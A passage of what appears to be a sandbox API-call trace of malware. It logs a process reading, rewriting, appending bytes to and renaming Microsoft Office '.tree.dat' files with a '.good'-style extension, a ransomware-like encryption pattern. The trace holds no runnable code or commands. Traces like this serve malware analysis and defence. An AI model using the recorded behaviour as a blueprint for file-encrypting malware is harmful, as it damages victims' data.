lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0161.767] CloseHandle (hObject=0x80c) returned 1 [0161.767] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4d [0161.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0161.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0161.768] GetFileType (hFile=0x80c) returned 0x1 [0161.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0161.768] GetFileType (hFile=0x80c) returned 0x1 [0161.768] WriteFile (in: hFile=0x80c, lpBuffer=0x34fdef0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x34fdef0*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0161.768] CloseHandle (hObject=0x80c) returned 1 [0161.768] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4d [0161.768] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat.gоod", lpFilePart=0x0) returned 0x52 [0161.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0161.768] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcfa45126, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcfa45126, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5ca1d190, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x137c)) returned 1 [0161.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0161.768] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osm.x-none.msi.16.x-none.tree.dat.gоod")) returned 1 [0161.769] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4d [0161.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0161.769] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x364b528 | out: lpFileInformation=0x364b528*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe59)) returned 1 [0161.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0161.769] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4d [0161.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0161.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0161.769] GetFileType (hFile=0x80c) returned 0x1 [0161.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0161.770] GetFileType (hFile=0x80c) returned 0x1 [0161.770] GetFileSize (in: hFile=0x80c, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xe59 [0161.770] ReadFile (in: hFile=0x80c, lpBuffer=0x364c6a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x364c6a0*, lpNumberOfBytesRead=0x1fcee238*=0xe59, lpOverlapped=0x0) returned 1 [0161.771] CloseHandle (hObject=0x80c) returned 1 [0162.139] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4d [0162.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0162.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0162.141] GetFileType (hFile=0x80c) returned 0x1 [0162.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0162.141] GetFileType (hFile=0x80c) returned 0x1 [0162.141] WriteFile (in: hFile=0x80c, lpBuffer=0x36dee18*, nNumberOfBytesToWrite=0xe60, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x36dee18*, lpNumberOfBytesWritten=0x1fcee148*=0xe60, lpOverlapped=0x0) returned 1 [0162.142] CloseHandle (hObject=0x80c) returned 1 [0162.142] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4d [0162.142] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x52 [0162.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0162.142] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5cdb09f5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe60)) returned 1 [0162.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0162.143] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmmui.msi.16.en-us.boot.tree.dat.gоod")) returned 1 [0162.143] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x48 [0162.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0162.144] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x36e00d8 | out: lpFileInformation=0x36e00d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd06c975a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd06c975a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd089348e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x134e)) returned 1 [0162.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0162.144] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x48 [0162.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0162.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0162.144] GetFileType (hFile=0x80c) returned 0x1 [0162.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0162.144] GetFileType (hFile=0x80c) returned 0x1 [0162.144] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0162.144] ReadFile (in: hFile=0x80c, lpBuffer=0x36e0540, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x36e0540*, lpNumberOfBytesRead=0x1fcee2d8*=0x34e, lpOverlapped=0x0) returned 1 [0162.146] CloseHandle (hObject=0x80c) returned 1 [0162.146] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x48 [0162.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0162.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0162.146] GetFileType (hFile=0x80c) returned 0x1 [0162.146] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0162.146] GetFileType (hFile=0x80c) returned 0x1 [0162.146] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x134e [0162.146] WriteFile (in: hFile=0x80c, lpBuffer=0x36e1800*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x36e1800*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0162.146] CloseHandle (hObject=0x80c) returned 1 [0162.146] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x48 [0162.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0162.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0162.147] GetFileType (hFile=0x80c) returned 0x1 [0162.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0162.147] GetFileType (hFile=0x80c) returned 0x1 [0162.147] ReadFile (in: hFile=0x80c, lpBuffer=0x36e3ae8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x36e3ae8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0162.988] CloseHandle (hObject=0x80c) returned 1 [0162.988] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x48 [0162.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0162.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0162.988] GetFileType (hFile=0x80c) returned 0x1 [0162.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0162.988] GetFileType (hFile=0x80c) returned 0x1 [0162.988] WriteFile (in: hFile=0x80c, lpBuffer=0x32abbb8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x32abbb8*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0162.988] CloseHandle (hObject=0x80c) returned 1 [0162.989] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x48 [0162.989] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat.gоod", lpFilePart=0x0) returned 0x4d [0162.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0162.989] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd06c975a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd06c975a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5d5bc90d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x135e)) returned 1 [0162.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0162.989] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmmui.msi.16.en-us.tree.dat.gоod")) returned 1 [0162.990] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0162.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0162.990] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x337b618 | out: lpFileInformation=0x337b618*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x843de0ef, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c5f)) returned 1 [0162.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0162.990] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0162.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0162.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0162.990] GetFileType (hFile=0x80c) returned 0x1 [0162.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0162.990] GetFileType (hFile=0x80c) returned 0x1 [0162.991] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0162.991] ReadFile (in: hFile=0x80c, lpBuffer=0x337bae0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x337bae0*, lpNumberOfBytesRead=0x1fcee2d8*=0xc5f, lpOverlapped=0x0) returned 1 [0162.992] CloseHandle (hObject=0x80c) returned 1 [0162.992] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0162.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0162.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0162.993] GetFileType (hFile=0x80c) returned 0x1 [0162.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0162.993] GetFileType (hFile=0x80c) returned 0x1 [0162.993] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1c5f [0162.993] WriteFile (in: hFile=0x80c, lpBuffer=0x337ce00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x337ce00*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0162.993] CloseHandle (hObject=0x80c) returned 1 [0162.993] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0162.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0162.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0162.993] GetFileType (hFile=0x80c) returned 0x1 [0162.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0162.993] GetFileType (hFile=0x80c) returned 0x1 [0162.993] ReadFile (in: hFile=0x80c, lpBuffer=0x337f118, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x337f118*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0163.021] CloseHandle (hObject=0x80c) returned 1 [0163.021] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0163.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0163.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0163.021] GetFileType (hFile=0x80c) returned 0x1 [0163.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0163.021] GetFileType (hFile=0x80c) returned 0x1 [0163.021] WriteFile (in: hFile=0x80c, lpBuffer=0x337de18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x337de18*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0163.022] CloseHandle (hObject=0x80c) returned 1 [0163.022] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x54 [0163.022] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x59 [0163.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0163.148] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\osmux.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5d608e8e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c6f)) returned 1 [0163.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0163.148] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 